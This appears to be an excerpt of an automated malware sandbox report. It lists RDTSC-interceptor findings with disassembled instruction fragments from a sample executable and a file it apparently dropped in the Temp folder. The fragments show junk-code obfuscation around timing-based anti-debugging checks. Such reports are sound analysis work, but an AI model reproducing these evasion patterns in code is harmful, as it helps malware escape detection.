Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5650D1D second address: 5650D21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5650D21 second address: 5650D85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FF8BCD7C842h 0x00000012 jmp 00007FF8BCD7C845h 0x00000017 popfd 0x00000018 mov di, si 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e jmp 00007FF8BCD7C83Ah 0x00000023 xchg eax, ecx 0x00000024 pushad 0x00000025 mov ebx, 5F04FDD0h 0x0000002a popad 0x0000002b push eax 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f call 00007FF8BCD7C842h 0x00000034 pop eax 0x00000035 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5650D85 second address: 5650D9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007FF8BD1A4C81h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5650D9E second address: 5650DBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 xchg eax, ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF8BCD7C848h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5650E52 second address: 5650E85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF8BD1A4C7Ch 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c leave 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov ax, F879h 0x00000014 call 00007FF8BD1A4C86h 0x00000019 pop ecx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5650E85 second address: 5650E8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660AB8 second address: 5660ABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660ABE second address: 5660AC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660AC2 second address: 5660ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov ebx, ecx 0x0000000c mov edi, eax 0x0000000e popad 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov dl, A9h 0x00000015 mov bh, al 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660ADA second address: 5660B54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF8BCD7C840h 0x00000008 mov dx, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 jmp 00007FF8BCD7C83Ch 0x00000015 cmp dword ptr [7544459Ch], 05h 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FF8BCD7C83Eh 0x00000023 xor esi, 1DA73C08h 0x00000029 jmp 00007FF8BCD7C83Bh 0x0000002e popfd 0x0000002f push eax 0x00000030 push edx 0x00000031 pushfd 0x00000032 jmp 00007FF8BCD7C846h 0x00000037 or cx, 5E68h 0x0000003c jmp 00007FF8BCD7C83Bh 0x00000041 popfd 0x00000042 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660B54 second address: 5660B84 instructions: 0x00000000 rdtsc 0x00000002 mov edx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007FF92CF22B1Ah 0x0000000d jmp 00007FF8BD1A4C82h 0x00000012 pop ebp 0x00000013 pushad 0x00000014 mov di, si 0x00000017 call 00007FF8BD1A4C7Ah 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660BF0 second address: 5660BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660BF4 second address: 5660C03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660C03 second address: 5660C3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C849h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF8BCD7C843h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660C3B second address: 5660C41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660C41 second address: 5660C50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BCD7C83Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660C50 second address: 5660CCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 jmp 00007FF8BD1A4C85h 0x0000000e call 00007FF92CF29B7Ah 0x00000013 push 753E2B70h 0x00000018 push dword ptr fs:[00000000h] 0x0000001f mov eax, dword ptr [esp+10h] 0x00000023 mov dword ptr [esp+10h], ebp 0x00000027 lea ebp, dword ptr [esp+10h] 0x0000002b sub esp, eax 0x0000002d push ebx 0x0000002e push esi 0x0000002f push edi 0x00000030 mov eax, dword ptr [75444538h] 0x00000035 xor dword ptr [ebp-04h], eax 0x00000038 xor eax, ebp 0x0000003a push eax 0x0000003b mov dword ptr [ebp-18h], esp 0x0000003e push dword ptr [ebp-08h] 0x00000041 mov eax, dword ptr [ebp-04h] 0x00000044 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000004b mov dword ptr [ebp-08h], eax 0x0000004e lea eax, dword ptr [ebp-10h] 0x00000051 mov dword ptr fs:[00000000h], eax 0x00000057 ret 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b pushfd 0x0000005c jmp 00007FF8BD1A4C83h 0x00000061 add ah, FFFFFFFEh 0x00000064 jmp 00007FF8BD1A4C89h 0x00000069 popfd 0x0000006a pushfd 0x0000006b jmp 00007FF8BD1A4C80h 0x00000070 or ax, 6EF8h 0x00000075 jmp 00007FF8BD1A4C7Bh 0x0000007a popfd 0x0000007b popad 0x0000007c rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660CCA second address: 5660CE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BCD7C844h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660CE2 second address: 5660CE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5660D38 second address: 5660D79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C83Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007FF8BCD7C840h 0x00000010 je 00007FF92CAF0461h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FF8BCD7C847h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670A9A second address: 5670AB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop eax 0x00000011 mov bl, BDh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670AB6 second address: 5670AD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 movzx eax, bx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e jmp 00007FF8BCD7C83Bh 0x00000013 xchg eax, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov eax, edi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670AD7 second address: 5670ADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670ADC second address: 5670AE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670AE2 second address: 5670AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670AE6 second address: 5670B3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C844h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FF8BCD7C83Bh 0x00000011 xchg eax, esi 0x00000012 jmp 00007FF8BCD7C846h 0x00000017 mov esi, dword ptr [ebp+0Ch] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FF8BCD7C847h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670B3F second address: 5670B45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670B45 second address: 5670B49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670B49 second address: 5670B6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a pushad 0x0000000b jmp 00007FF8BD1A4C7Dh 0x00000010 popad 0x00000011 je 00007FF92CF124CBh 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670B6D second address: 5670B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670B73 second address: 5670B78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670B78 second address: 5670BB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 1164h 0x00000007 mov bl, DFh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c cmp dword ptr [7544459Ch], 05h 0x00000013 pushad 0x00000014 mov ecx, 327D3B01h 0x00000019 mov ebx, ecx 0x0000001b popad 0x0000001c je 00007FF92CB02139h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FF8BCD7C842h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670BB0 second address: 5670BB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670BB4 second address: 5670BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670BBA second address: 5670BC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670BC0 second address: 5670BE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C848h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov edi, ecx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: 5670BE5 second address: 5670BF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BD1A4C80h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B5D80A second address: B5D811 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B5DFAA second address: B5DFD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jnl 00007FF8BD1A4C76h 0x0000000b push esi 0x0000000c pop esi 0x0000000d je 00007FF8BD1A4C76h 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007FF8BD1A4C83h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B5E12B second address: B5E139 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF8BCD7C836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B5E139 second address: B5E145 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jbe 00007FF8BD1A4C76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B5E145 second address: B5E168 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C847h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b js 00007FF8BCD7C836h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B615FD second address: B61653 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ch, 55h 0x0000000e jmp 00007FF8BD1A4C7Bh 0x00000013 push 00000000h 0x00000015 mov edi, 1B68CD85h 0x0000001a call 00007FF8BD1A4C79h 0x0000001f push eax 0x00000020 jbe 00007FF8BD1A4C7Ch 0x00000026 pop eax 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jnc 00007FF8BD1A4C7Ch 0x00000030 js 00007FF8BD1A4C76h 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B61653 second address: B6165A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B6165A second address: B616A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jnl 00007FF8BD1A4C7Ah 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop edx 0x00000015 mov eax, dword ptr [eax] 0x00000017 push ecx 0x00000018 pushad 0x00000019 jmp 00007FF8BD1A4C87h 0x0000001e push edx 0x0000001f pop edx 0x00000020 popad 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 push esi 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FF8BD1A4C7Fh 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B616A4 second address: B6173E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007FF8BCD7C838h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 push 00000003h 0x00000024 add dword ptr [ebp+122D1FE0h], edi 0x0000002a push 00000000h 0x0000002c mov edx, dword ptr [ebp+122D3E86h] 0x00000032 push 00000003h 0x00000034 push 00000000h 0x00000036 push edx 0x00000037 call 00007FF8BCD7C838h 0x0000003c pop edx 0x0000003d mov dword ptr [esp+04h], edx 0x00000041 add dword ptr [esp+04h], 0000001Bh 0x00000049 inc edx 0x0000004a push edx 0x0000004b ret 0x0000004c pop edx 0x0000004d ret 0x0000004e stc 0x0000004f add dword ptr [ebp+122D263Dh], edi 0x00000055 cmc 0x00000056 call 00007FF8BCD7C839h 0x0000005b jmp 00007FF8BCD7C83Bh 0x00000060 push eax 0x00000061 js 00007FF8BCD7C83Eh 0x00000067 push edx 0x00000068 je 00007FF8BCD7C836h 0x0000006e pop edx 0x0000006f mov eax, dword ptr [esp+04h] 0x00000073 jng 00007FF8BCD7C840h 0x00000079 pushad 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B6173E second address: B61764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a jp 00007FF8BD1A4C7Ch 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 js 00007FF8BD1A4C80h 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B61764 second address: B617B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push 00000000h 0x00000008 push edi 0x00000009 call 00007FF8BCD7C838h 0x0000000e pop edi 0x0000000f mov dword ptr [esp+04h], edi 0x00000013 add dword ptr [esp+04h], 00000015h 0x0000001b inc edi 0x0000001c push edi 0x0000001d ret 0x0000001e pop edi 0x0000001f ret 0x00000020 mov di, 1E30h 0x00000024 add dword ptr [ebp+122D1CD2h], edi 0x0000002a lea ebx, dword ptr [ebp+12447496h] 0x00000030 push edx 0x00000031 or ecx, dword ptr [ebp+122D3C46h] 0x00000037 pop ecx 0x00000038 xchg eax, ebx 0x00000039 pushad 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d pop edx 0x0000003e jnp 00007FF8BCD7C83Ch 0x00000044 popad 0x00000045 push eax 0x00000046 pushad 0x00000047 pushad 0x00000048 pushad 0x00000049 popad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B61838 second address: B6183E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B6183E second address: B6188E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FF8BCD7C836h 0x00000009 je 00007FF8BCD7C836h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 jmp 00007FF8BCD7C843h 0x00000019 pop eax 0x0000001a nop 0x0000001b mov esi, 188A96E2h 0x00000020 push 00000000h 0x00000022 mov edx, 736672B4h 0x00000027 jmp 00007FF8BCD7C841h 0x0000002c push A319BCDDh 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B6188E second address: B61895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B61895 second address: B618F4 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF8BCD7C841h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 5CE643A3h 0x00000011 jmp 00007FF8BCD7C843h 0x00000016 mov dx, cx 0x00000019 push 00000003h 0x0000001b sub dword ptr [ebp+122D36ACh], ebx 0x00000021 push 00000000h 0x00000023 jo 00007FF8BCD7C83Ch 0x00000029 mov esi, dword ptr [ebp+122D3C4Ah] 0x0000002f push 00000003h 0x00000031 push B7D6E75Fh 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 jmp 00007FF8BCD7C83Ah 0x0000003e pushad 0x0000003f popad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B6199F second address: B61A44 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF8BD1A4C76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 popad 0x00000011 nop 0x00000012 mov dword ptr [ebp+122D1CBCh], edx 0x00000018 push 00000000h 0x0000001a mov di, si 0x0000001d push 85CB70F2h 0x00000022 jmp 00007FF8BD1A4C82h 0x00000027 add dword ptr [esp], 7A348F8Eh 0x0000002e cld 0x0000002f push 00000003h 0x00000031 mov edx, dword ptr [ebp+122D3EEEh] 0x00000037 push 00000000h 0x00000039 jnc 00007FF8BD1A4C7Ch 0x0000003f sub dword ptr [ebp+122D3B10h], edi 0x00000045 push 00000003h 0x00000047 mov ecx, 4CD9C7DFh 0x0000004c push DE57FA86h 0x00000051 jmp 00007FF8BD1A4C85h 0x00000056 xor dword ptr [esp], 1E57FA86h 0x0000005d mov dword ptr [ebp+122D209Ah], edx 0x00000063 lea ebx, dword ptr [ebp+124474AAh] 0x00000069 mov edi, dword ptr [ebp+122D3D0Eh] 0x0000006f xchg eax, ebx 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007FF8BD1A4C86h 0x00000077 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B61A44 second address: B61A49 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B81B15 second address: B81B19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B81B19 second address: B81B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B81FA0 second address: B81FA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B81FA6 second address: B81FC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C842h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FF8BCD7C864h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B81FC6 second address: B81FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B79041 second address: B79046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B79046 second address: B7904C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B7904C second address: B79056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF8BCD7C836h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B79056 second address: B7906E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF8BD1A4C7Ch 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edi 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B82112 second address: B82132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8BCD7C845h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	RDTSC instruction interceptor: First address: B82132 second address: B82136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
